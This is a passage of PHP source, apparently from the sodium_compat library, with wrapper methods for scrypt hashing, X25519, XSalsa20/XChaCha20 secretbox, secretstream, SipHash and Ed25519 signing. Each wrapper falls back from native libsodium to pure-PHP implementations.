        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256(
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256',
                (int) $outlen,
                (string) $passwd,
                (string) $salt,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_scryptsalsa208sha256_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str(
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str',
                (string) $passwd,
                (int) $opslimit,
                (int) $memlimit
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(
                (string) $passwd,
                (string) $hash
            );
        }
        if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify',
                (string) $passwd,
                (string) $hash
            );
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP'
        );
    }

    /**
     * Calculate the shared secret between your secret key and your
     * recipient's public key.
     *
     * Algorithm: X25519 (ECDH over Curve25519)
     *
     * @param string $secretKey
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult($secretKey, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_scalarmult')) {
            return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey);
        }

        /* Output validation: Forbid all-zero keys */
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not allowed');
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) {
            throw new SodiumException('Zero public key is not allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey);
    }

    /**
     * Calculate an X25519 public key from an X25519 secret key.
     *
     * @param string $secretKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function crypto_scalarmult_base($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_scalarmult_base($secretKey);
        }
        if (self::use_fallback('crypto_scalarmult_base')) {
            return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey);
        }
        if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) {
            throw new SodiumException('Zero secret key is not allowed');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey);
        }
        return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XSalsa20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce A Number to be used Once; must be 24 bytes
     * @param string $key Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox($plaintext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_secretbox($plaintext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox')) {
            return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key);
    }

    /**
     * Decrypts a message previously encrypted with crypto_secretbox().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_secretbox_open($ciphertext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
        }
        if (self::use_fallback('crypto_secretbox_open')) {
            return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_secretbox
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_secretbox_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES);
    }

    /**
     * Authenticated symmetric-key encryption.
     *
     * Algorithm: XChaCha20-Poly1305
     *
     * @param string $plaintext The message you're encrypting
     * @param string $nonce     A Number to be used Once; must be 24 bytes
     * @param string $key       Symmetric encryption key
     * @return string           Ciphertext with Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
    }
    /**
     * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_init_push($key)
    {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key);
    }

    /**
     * @param string $header
     * @param string $key
     * @return string Returns a state.
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_init_pull($header, $key)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) {
            throw new SodiumException(
                'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes'
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header);
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
    {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push(
                $state,
                $msg,
                $aad,
                $tag
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push(
            $state,
            $msg,
            $aad,
            $tag
        );
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_pull(&$state, $msg, $aad = '')
    {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull(
                $state,
                $msg,
                $aad
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull(
            $state,
            $msg,
            $aad
        );
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_rekey(&$state)
    {
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state);
        } else {
            ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state);
        }
    }

    /**
     * Calculates a SipHash-2-4 hash of a message for a given key.
     *
     * @param string $message Input message
     * @param string $key SipHash-2-4 key
     * @return string         Hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_shorthash($message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_shorthash($message, $key);
        }
        if (self::use_fallback('crypto_shorthash')) {
            return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key);
        }
        return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key);
    }

    /**
     * Return a secure random key for use with crypto_shorthash
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_shorthash_keygen()
    {
        return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES);
    }

    /**
     * Returns a signed message. You probably want crypto_sign_detached()
     * instead, which only returns the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed.
     * @param string $secretKey Secret signing key.
     * @return string           Signed message (signature is prefixed).
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign($message, $secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign')) {
            return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign($message, $secretKey);
    }

    /**
     * Validates a signed message then returns the message.
     *
     * @param string $signedMessage A signed message
     * @param string $publicKey A public key
     * @return string               The original message (if the signature is
     *                              valid for this public key)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign_open($signedMessage, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_sign_open($signedMessage, $publicKey);
        }
        if (self::use_fallback('crypto_sign_open')) {
            return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey);
    }

    /**
     * Generate a new random Ed25519 keypair.
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_sign_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair();
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::keypair();
        }
        return ParagonIE_Sodium_Core_Ed25519::keypair();
    }

    /**
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     */
    public static function crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);
        $sk = (string) $sk;
        $pk = (string) $pk;

        if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk);
        }
        return $sk . $pk;
    }

    /**
     * Generate an Ed25519 keypair from a seed.
     *
     * @param string $seed Input seed
     * @return string      Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_seed_keypair($seed)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed);
        }
        $publicKey = '';
        $secretKey = '';
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        } else {
            ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        }
        return $secretKey . $publicKey;
    }

    /**
     * Extract an Ed25519 public key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey($keypair);
        }
        if (self::use_fallback('crypto_sign_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey($keypair);
    }

    /**
     * Calculate an Ed25519 public key from an Ed25519 secret key.
     *
     * @param string $secretKey Your Ed25519 secret key
     * @return string           The corresponding Ed25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey_from_secretkey($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback('crypto_sign_publickey_from_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey);
    }

    /**
     * Extract an Ed25519 secret key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_secretkey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_secretkey($keypair);
        }
        if (self::use_fallback('crypto_sign_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair);
    }

    /**
     * Calculate the Ed25519 signature of a message and return ONLY the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed
     * @param string $secretKey Secret signing key
     * @return string           Digital signature
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_detached($message, $secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_detached($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign_detached')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey);
    }

    /**
     * Verify the Ed25519 signature of a message.
     *
     * @param string $signature Digital sginature
     * @param string $message Message to be verified
     * @param string $publicKey Public key
     * @return bool             TRUE if this signature is good for this public key;
     *                          FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_verify_detached($signature, $message, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_verify_detached($signature, $message, $publicKey);
        }
        if (self::use_fallback('crypto_sign_verify_detached')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_sign_verify_detached',
                $signature,
                $message,
                $publicKey
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey);
    }

    /**
     * Convert an Ed25519 public key to a Curve25519 public key
     *
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) {
                return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk);
            }
        }
        if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk);
        }
        return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk);
    }

    /**
     * Convert an Ed25519 secret key to a Curve25519 secret key
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_sk_to_curve25519($sk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) {
                return sodium_crypto_sign_ed25519_sk_to_curve25519($sk);
            }
        }
        if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk);
        }

        $h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true);
        $h[0] = ParagonIE_Sodium_Core_Util::intToChr(
            ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248
        );
        $h[31] = ParagonIE_Sodium_Core_Util::intToChr(
            (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64
        );
        return ParagonIE_Sodium_Core_Util::substr($h, 0, 32);
    }

    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XSalsa20 key
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream($len, $nonce, $key)
    {
